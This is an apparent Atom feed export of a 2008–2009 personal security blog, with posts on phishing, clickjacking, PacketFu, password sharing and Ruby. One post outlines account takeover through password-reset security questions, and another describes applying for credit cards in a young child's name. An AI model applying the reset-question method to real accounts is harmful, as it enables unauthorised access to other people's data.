kind of dumb phisher over and over again, further insulating pro phishers.&lt;br /&gt;&lt;br /&gt;So, phishing can be seen in the same light as, say, drug dealing -- cops will tend to spend most of their time taking the least skilled players off the street, while the kingpin types remain to operate relatively unimpeded.&lt;br /&gt;&lt;br /&gt;All speculation, of course, but I watched &lt;a href="http://en.wikipedia.org/wiki/The_Wire_(TV_series)"&gt;The Wire&lt;/a&gt;, so I'm confident in my ability to comment intelligently on police procedure. :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20075889-4167723793366236864?l=www.planb-security.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/4167723793366236864/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=20075889&amp;postID=4167723793366236864' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/4167723793366236864'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/4167723793366236864'/><link rel='alternate' type='text/html' href='http://www.planb-security.net/2009/01/insulating-skilled-phishers.html' title='Insulating Skilled Phishers'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='12384835220122498606'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20075889.post-6752236612280749855</id><published>2008-12-03T10:53:00.006-06:00</published><updated>2008-12-03T11:25:21.826-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ruby'/><title type='text'>I admit it: I love monkeypatching</title><content type='html'>One of the things I like most about writing in Ruby is that if I find myself reimplimenting the same thing more than two or three times, I have the option of extending Ruby's base classes to incorporate that functionality.&lt;br /&gt;&lt;br /&gt;People argue against this (usually by calling it monkeypatching), but when it comes down to it, I think it's a wonderfully fun way to interact with an interpreted language, even if it's not the safest or prudent habit. After all, the more fun something is, the more dangerous it's got to be, right?&lt;br /&gt;&lt;br /&gt;An example base extension I use a lot is &lt;i&gt;binarize&lt;/i&gt; -- it takes a String or Array and turns it into binary (really, a pack("C*") string). Here it is &lt;a href="http://pastie.org/329913"&gt;at pastie&lt;/a&gt;. Once implemented, "414243".binarize magically turns into "ABC." Delight all around.&lt;br /&gt;&lt;br /&gt;The argument against monkeypatching is that it's not that much more work to create a module with a function of &lt;i&gt;binarize&lt;/i&gt; that takes an argument, so you end up with something like NoFunAtAll::binarize("414243"). But really, only squares with C.S. degrees would do that. Devil-may-care types like myself prefer to extend String and Array directly, and damn the maintainability!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20075889-6752236612280749855?l=www.planb-security.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/6752236612280749855/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=20075889&amp;postID=6752236612280749855' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/6752236612280749855'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/6752236612280749855'/><link rel='alternate' type='text/html' href='http://www.planb-security.net/2008/12/i-admit-it-i-love-monkeypatching.html' title='I admit it: I love monkeypatching'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='12384835220122498606'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20075889.post-5361030898238251538</id><published>2008-11-26T12:34:00.002-06:00</published><updated>2008-11-26T12:37:48.994-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='plan9'/><title type='text'>Plan 9 from Plan B</title><content type='html'>I just put together a freshly installed VMWare appliance for Plan 9 and dumped it on the &lt;a href="http://www.vmware.com/appliances/directory/59214"&gt;VMWare Marketplace&lt;/a&gt;. I was looking for a better solution for a distributed file system at my house, and am in the process of getting hardware together for a Plan 9 installation. In the meantime, I figured I'd get acclimated with the UI with this image, and a friend suggested I upload it so others may luxuriate in the alien beauty of &lt;a href="http://netlib.bell-labs.com/wiki/plan9/plan_9_wiki/"&gt;Plan 9 from Bell Labs&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20075889-5361030898238251538?l=www.planb-security.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/5361030898238251538/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=20075889&amp;postID=5361030898238251538' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/5361030898238251538'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/5361030898238251538'/><link rel='alternate' type='text/html' href='http://www.planb-security.net/2008/11/plan-9-from-plan-b.html' title='Plan 9 from Plan B'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='12384835220122498606'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20075889.post-246675407843056724</id><published>2008-11-13T07:52:00.002-06:00</published><updated>2008-11-13T08:06:45.689-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='passwords'/><category scheme='http://www.blogger.com/atom/ns#' term='twitter'/><title type='text'>Twitterank and Password Sharing</title><content type='html'>ZDNet is running a story about how "promiscuous" (excellent adjective!) Twitter users can be; original story &lt;a href="http://blogs.zdnet.com/collaboration/?p=163"&gt;here&lt;/a&gt;, and Twitterank creator Ryo Chijiiwa's followup &lt;a href="http://blogs.zdnet.com/collaboration/?p=164"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;This would have been a slightly better story if Ryo was a security researcher who was trying to make a point about password sharing, but no, that was just a side effect of his viral web service (according to him, over two thousand opt-ins in under five hours).&lt;br /&gt;&lt;br /&gt;The fact is, Ryo is not the first to ask for your password. Facebook and LinkedIn have been doing it for a while, mainly to rifle through your webmail contacts list, and I'm sure they're not the only ones. &lt;br /&gt;&lt;br /&gt;I've never really understood why anyone would say yes to this, or even why it's acceptable to ask. Kids these days with their loose passwords and their Internet promiscuity.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20075889-246675407843056724?l=www.planb-security.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/246675407843056724/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=20075889&amp;postID=246675407843056724' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/246675407843056724'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/246675407843056724'/><link rel='alternate' type='text/html' href='http://www.planb-security.net/2008/11/twitterank-and-password-sharing.html' title='Twitterank and Password Sharing'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='12384835220122498606'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20075889.post-7476536125409343252</id><published>2008-10-20T17:01:00.005-05:00</published><updated>2008-10-20T17:17:12.910-05:00</updated><title type='text'>BinData and Adobe Flash</title><content type='html'>Have I mentioned lately how much I heart &lt;a href="http://bindata.rubyforge.org"&gt;BinData&lt;/a&gt;? It's the guts of my own &lt;a href="http://code.google.com/p/packetfu"&gt;PacketFu&lt;/a&gt;, and now I'm using it to build up an FLV file format parser. It's a thousand kinds of rad, or more succinctly, &lt;b&gt;k-rad&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Now I just need a cutesy name for the eventual Flash file format fuzzer... Ooo, I think I have one!&lt;br /&gt;&lt;br /&gt;At any rate, quick search indicates that &lt;a href="http://www.amazon.com/Fuzzing-Brute-Force-Vulnerability-Discovery/dp/0321446119"&gt;Aaron and Pedram&lt;/a&gt; have already written a custom Flash fuzzer using PaiMei. So I doubt I'll come up with anything decent.... but I do have that ancient version of Flash lying around on the Wii, so you never know...&lt;br /&gt;&lt;br /&gt;Hopefully, I've have mine finished up tomorrow. Go Ruby! Go BinData!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20075889-7476536125409343252?l=www.planb-security.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/7476536125409343252/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=20075889&amp;postID=7476536125409343252' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/7476536125409343252'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/7476536125409343252'/><link rel='alternate' type='text/html' href='http://www.planb-security.net/2008/10/bindata-and-adobe-flash.html' title='BinData and Adobe Flash'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='12384835220122498606'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20075889.post-99328365945752476</id><published>2008-10-10T14:15:00.006-05:00</published><updated>2008-10-10T14:26:00.258-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='crypto'/><category scheme='http://www.blogger.com/atom/ns#' term='blackberry'/><category scheme='http://www.blogger.com/atom/ns#' term='iphone'/><title type='text'>Criminals like Blackberry too</title><content type='html'>Saw an eWeek story this week about how &lt;a href="http://securitywatch.eweek.com/exploits_and_attacks/bad_guys_love_the_blackberry.html?kc=rss"&gt;bad guys heart BlackBerry&lt;/a&gt; for, surprise, the same reasons that good guys do. As far as I can tell, I'm the only one in my group, and possibly my whole office, with a Blackberry. It's nice to see this validation of its on board encryption versus the RCMP.&lt;br /&gt;&lt;br /&gt;Take that, iSnobs.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20075889-99328365945752476?l=www.planb-security.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/99328365945752476/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=20075889&amp;postID=99328365945752476' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/99328365945752476'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/99328365945752476'/><link rel='alternate' type='text/html' href='http://www.planb-security.net/2008/10/criminals-like-blackberry-too.html' title='Criminals like Blackberry too'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='12384835220122498606'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20075889.post-4365290974708509824</id><published>2008-09-29T13:55:00.003-05:00</published><updated>2008-09-29T14:03:56.640-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='clickjacking'/><category scheme='http://www.blogger.com/atom/ns#' term='iframes'/><title type='text'>Clickjacking (Maybe? Sort of?) Speculation</title><content type='html'>Late last week, I wrote a couple &lt;a href="http://www.breakingpointsystems.com/community/blog/clickjacking"&gt;blog&lt;/a&gt; &lt;a href="http://www.breakingpointsystems.com/community/blog/clickjacking/real-clickjacking"&gt;posts&lt;/a&gt; speculating about RSnake and Jeremiah Grossman's canceled OWASP talk. After a couple thousand page views, I figure I ought to mention it here. The first post is about evading pop-up blockers through click trickery, the second is a postulation of what the "Clickjacking" problem really is.&lt;br /&gt;&lt;br /&gt;To put it simply, human eyeballs don't adhere to the same-origin policy.&lt;br /&gt;&lt;br /&gt;I've been spending the morning experimenting some more, and I'm pretty certain now that these techniques can be used to create some pretty convincing phishing sites.&lt;br /&gt;&lt;br /&gt;At any rate, it would appear that sites can protect themselves with a &lt;a href="http://www.webmasterworld.com/forum91/2831.htm"&gt;frame busting&lt;/a&gt; snippet on every page with remotely useful forms. Requiring code like this duplicated all other the place sucks, of course. Practically, though, it's not a whole lot different from the ubiquitous &lt;a href="http://www.google.com/search?q=browser+detection+javascript"&gt;browser detection&lt;/a&gt; snippets that litter the Internet.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20075889-4365290974708509824?l=www.planb-security.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/4365290974708509824/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=20075889&amp;postID=4365290974708509824' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/4365290974708509824'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/4365290974708509824'/><link rel='alternate' type='text/html' href='http://www.planb-security.net/2008/09/clickjacking-maybe-sort-of-speculation.html' title='Clickjacking (Maybe? Sort of?) Speculation'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='12384835220122498606'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20075889.post-2747735362423538640</id><published>2008-09-18T17:10:00.006-05:00</published><updated>2008-09-18T17:36:47.324-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='passwords'/><category scheme='http://www.blogger.com/atom/ns#' term='authentication'/><title type='text'>Palin E-Mail: It's the Paris Hilton Hack</title><content type='html'>I'm sure I'm not the first to mention this, but according to &lt;a href="http://blog.wired.com/27bstroke6/2008/09/palin-e-mail-ha.html"&gt;the Wired story&lt;/a&gt;, Sarah Palin's recent e-mail compromise was a result of the Paris Hilton Hack. How does it work?&lt;br /&gt;&lt;br /&gt;a) Pick a famous person's data store. T-Mobile account, Yahoo mail account, whatever.&lt;br /&gt;b) Perform a password reset. This will often trigger the data store's authentication mechanism to &lt;a href="http://www.uninformed.org/?v=7&amp;a=3&amp;t=txt"&gt;"fail stupid"&lt;/a&gt;.&lt;br /&gt;c) If the famous person played by the rules, you will be presented with a series of questions with nonsecret answers.&lt;br /&gt;&lt;br /&gt;For Paris Hilton, it was her dog's name (Tinkerbell). For Governor Palin, it was where she met her spouse (Wasilla High).&lt;br /&gt;&lt;br /&gt;Note to famous people: Your username is, in fact, your password as well. So keep that secret. Unless you lie on the password reset questions -- which effectively creates alternate passwords for you. You should fill out &lt;a href="http://help.yahoo.com/l/us/yahoo/security/general.html"&gt;Yahoo's general security&lt;/a&gt; form to get your nonsecret answer changed. Note, this is a huge hassle at most places, unless it's another fail-stupid mechanism, in which case, other people may just do it for you. Shrug, use it and find out.&lt;br /&gt;&lt;br /&gt;Personally, I usually use nonsense answers for the secret questions on my various web-based data repositories. I just live with the knowledge that if I forget my main password, I'm pretty much screwed for the follow up passwords.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20075889-2747735362423538640?l=www.planb-security.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/2747735362423538640/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=20075889&amp;postID=2747735362423538640' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/2747735362423538640'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/2747735362423538640'/><link rel='alternate' type='text/html' href='http://www.planb-security.net/2008/09/palin-e-mail-its-paris-hilton-hack.html' title='Palin E-Mail: It&apos;s the Paris Hilton Hack'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='12384835220122498606'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20075889.post-3878469850688787129</id><published>2008-09-12T15:19:00.004-05:00</published><updated>2008-09-12T15:25:16.272-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ruby'/><category scheme='http://www.blogger.com/atom/ns#' term='packets'/><category scheme='http://www.blogger.com/atom/ns#' term='network sniffing'/><category scheme='http://www.blogger.com/atom/ns#' term='packetfu'/><title type='text'>PacketFu on Windows</title><content type='html'>Barely a week after I presented PacketFu, I got an idle question about PacketFu's usefulness on Windows.&lt;br /&gt;&lt;br /&gt;Last night, while I was waiting for my brother and his family to drive up from Houston ahead of the Hurricane, I got to messing around with compiling PcapRub on Microsoft Vista and Windows XP. Much to my amazement, my goofy hacks worked. The rest of PacketFu is pure Ruby without C extensions or anything, so cross-platform love is already baked in there.&lt;br /&gt;&lt;br /&gt;So, the latest &lt;a href="http://code.google.com/p/packetfu/source/checkout"&gt;revision of PacketFu&lt;/a&gt; seems to work fine on XP (I haven't tested the Vista machine yet). It works so well, in fact, that I duplicated the climax of my Lone Star RubyConf talk in the form of a &lt;a href="http://packetfu.googlecode.com/files/ackscan_packetfu_windows.flv"&gt;Flash&lt;/a&gt; movie (link downloads the FLV, it's not embedded or anything).&lt;br /&gt;&lt;br /&gt;How many other packet libraries have screencasts a week after they're built? ZERO, that's how many!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20075889-3878469850688787129?l=www.planb-security.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/3878469850688787129/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=20075889&amp;postID=3878469850688787129' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/3878469850688787129'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/3878469850688787129'/><link rel='alternate' type='text/html' href='http://www.planb-security.net/2008/09/packetfu-on-windows.html' title='PacketFu on Windows'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='12384835220122498606'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20075889.post-2113623628353134201</id><published>2008-09-06T21:45:00.002-05:00</published><updated>2008-09-06T21:52:42.214-05:00</updated><title type='text'>PacketFu</title><content type='html'>Today, I presented &lt;a href="http://code.google.com/p/packetfu"&gt;PacketFu&lt;/a&gt; at &lt;a href="http://lsrc.wikidot.com/"&gt;Lone Star Ruby Conf&lt;/a&gt;. I'm pretty pleased with it, although the guts are quite horrible still. Now that it's in a demo-able state, time to refactor everything and make it maintainable.&lt;br /&gt;&lt;br /&gt;I'm sure the rest of LSRC was great... but I'm not a web app developer or a Rails nerd, so I couldn't really tell. Most of the time I was talking to people who were getting kind of sick with the whole Rails paradigm.&lt;br /&gt;&lt;br /&gt;Expect a more detailed blog post at my &lt;a href="http://www.breakingpointsystems.com/community/blog"&gt;employer's blog&lt;/a&gt; about my adventures with PacketFu.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20075889-2113623628353134201?l=www.planb-security.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/2113623628353134201/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=20075889&amp;postID=2113623628353134201' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/2113623628353134201'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/2113623628353134201'/><link rel='alternate' type='text/html' href='http://www.planb-security.net/2008/09/packetfu.html' title='PacketFu'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='12384835220122498606'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20075889.post-3017000045577591052</id><published>2008-08-10T17:36:00.004-05:00</published><updated>2008-08-10T17:43:57.320-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='free mit'/><category scheme='http://www.blogger.com/atom/ns#' term='defcon 2008'/><category scheme='http://www.blogger.com/atom/ns#' term='free dmitry'/><category scheme='http://www.blogger.com/atom/ns#' term='rfid'/><title type='text'>MIT students gagged</title><content type='html'>Looks like &lt;a href="http://www.eff.org/press/archives/2008/08/09"&gt;this&lt;/a&gt; is the headline from Vegas this year. Short story: College kids figure out that an RFID authentication system sucks, plan to tell others all about it at a high-publicity security conference. Their home state asks rather insistently that they don't.&lt;br /&gt;&lt;br /&gt;A gag order is a little more civilized than a &lt;a href="http://www.freesklyarov.org/"&gt;surprise detention by a foreign government&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;A little.&lt;br /&gt;&lt;br /&gt;I guess Massachusetts would prefer this kind of information stay in the real computer crime underground, as opposed to DefCon's play-pretend underground. Shrug.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20075889-3017000045577591052?l=www.planb-security.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/3017000045577591052/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=20075889&amp;postID=3017000045577591052' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/3017000045577591052'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/3017000045577591052'/><link rel='alternate' type='text/html' href='http://www.planb-security.net/2008/08/mit-students-gagged.html' title='MIT students gagged'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='12384835220122498606'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20075889.post-9144333943977882088</id><published>2008-07-18T09:27:00.001-05:00</published><updated>2008-07-18T09:29:41.847-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='living in the future'/><category scheme='http://www.blogger.com/atom/ns#' term='credit'/><category scheme='http://www.blogger.com/atom/ns#' term='identity'/><title type='text'>KinderCredit</title><content type='html'>My middle kid is scheduled to enter kindergarten in the fall, and I'm just finishing up copying all her identity documents for the school. Being that I have a bit of background in identity and credit, I look at her Social Security card, and wonder if she can get some credit history going by the time school starts.&lt;br /&gt;&lt;br /&gt;I've heard the silly stories about credit card companies extending credit to &lt;a href="http://cbs2chicago.com/local/credit.card.kids.2.750473.html"&gt;little kids&lt;/a&gt;, so I went to CreditCard.com to get the latest student offerings. My kid has now applications in for Capital One and Citi "student" level credit cards; I tried for a Chase card, but that offer requires enrollment in a 4-year school or a 2-year technical/community college. Naturally, she couldn't complete that application on her behalf without necessarily lying on the application.&lt;br /&gt;&lt;br /&gt;In fact, she was &lt;span style="font-style: italic;"&gt;only&lt;/span&gt; able to complete applications for student cards -- my (I mean her) first attempts were stymied by the issuers' instance that applicants be 18 or older. So I don't know how these &lt;a href="http://news.yahoo.com/s/fool/20080710/bs_fool_fool/rx3662"&gt;kids&lt;/a&gt; (and &lt;a href="http://www.nbcsandiego.com/money/2800173/detail.html"&gt;dogs&lt;/a&gt;) are getting cards without committing some kind of fraud along the way.&lt;br /&gt;&lt;br /&gt;So, we'll see. Assuming the credit card applications fall through, the next step is to just get her jointly named on some card that I already have, (or even better, a joint savings/checking account), then wait around for the junk mail offers as her name and Social Security number starts churning through the credit system.&lt;br /&gt;&lt;br /&gt;If everything works out, I'll repeat the process with my youngest kid next year. This way, by the time they're 18, they'll already have over a decade of rather perfect credit history, and might not be saddled with the horrendous student rates that plague most college freshmen.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20075889-9144333943977882088?l=www.planb-security.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/9144333943977882088/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=20075889&amp;postID=9144333943977882088' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/9144333943977882088'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/9144333943977882088'/><link rel='alternate' type='text/html' href='http://www.planb-security.net/2008/07/kindercredit.html' title='KinderCredit'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='12384835220122498606'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20075889.post-8961215324229882972</id><published>2008-07-09T16:46:00.006-05:00</published><updated>2008-07-09T16:59:44.382-05:00</updated><title type='text'>A Strangely Accurate Photo and Headline Combo</title><content type='html'>Saw this headline and picture combination on the &lt;a href="http://www.chicagotribune.com/news/chi-senate-surveillance-vote,0,288926.story"&gt;Chicago Tribune&lt;/a&gt; today. Struck me funny.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.planb-security.net/pics/senate-shits-all-over-american-public.png"&gt;&lt;img src="http://www.planb-security.net/pics/senate-shits-all-over-american-public.png" width="425"/&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Yay for dynamic editorship!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20075889-8961215324229882972?l=www.planb-security.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/8961215324229882972/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=20075889&amp;postID=8961215324229882972' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/8961215324229882972'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/8961215324229882972'/><link rel='alternate' type='text/html' href='http://www.planb-security.net/2008/07/strangely-accurate-photo-and-headline.html' title='A Strangely Accurate Photo and Headline Combo'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='12384835220122498606'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20075889.post-2490202762730661008</id><published>2008-06-30T13:59:00.008-05:00</published><updated>2008-06-30T14:43:05.206-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='journalism rathole'/><category scheme='http://www.blogger.com/atom/ns#' term='magnum pi'/><category scheme='http://www.blogger.com/atom/ns#' term='blogosphere'/><category scheme='http://www.blogger.com/atom/ns#' term='not the first amendment'/><title type='text'>Computer Journalism Rathole</title><content type='html'>PC Magazine is running a story, &lt;a href="http://www.pcmag.com/article2/0,1895,2324220,00.asp"&gt;Texas PC Repair Now Requires PI License&lt;/a&gt;, which cites &lt;a href="http://www.gearlog.com/"&gt;GearLog&lt;/a&gt; as its source (but no particular article). Gearlog, in turn, cites &lt;a href="http://cw33.trb.com/news/kdaf-062608-computerspelpina,0,486476.story"&gt;The CW33&lt;/a&gt; via &lt;a href="http://www.gearlog.com/2008/06/new_texas_law_requires_pi_lice.php"&gt;this article&lt;/a&gt;. CW33 is a television station newsroom which cites... nobody.&lt;br /&gt;&lt;br /&gt;Through some other means, a friend turned up &lt;a href="http://www.kvue.com/news/local/stories/062608kvuePIlaw-cb.40583a30.html"&gt;This KVUE&lt;/a&gt; story (another TV station), which mentions the "newly formed Institute for Justice." Googling with that phrase turns up &lt;a 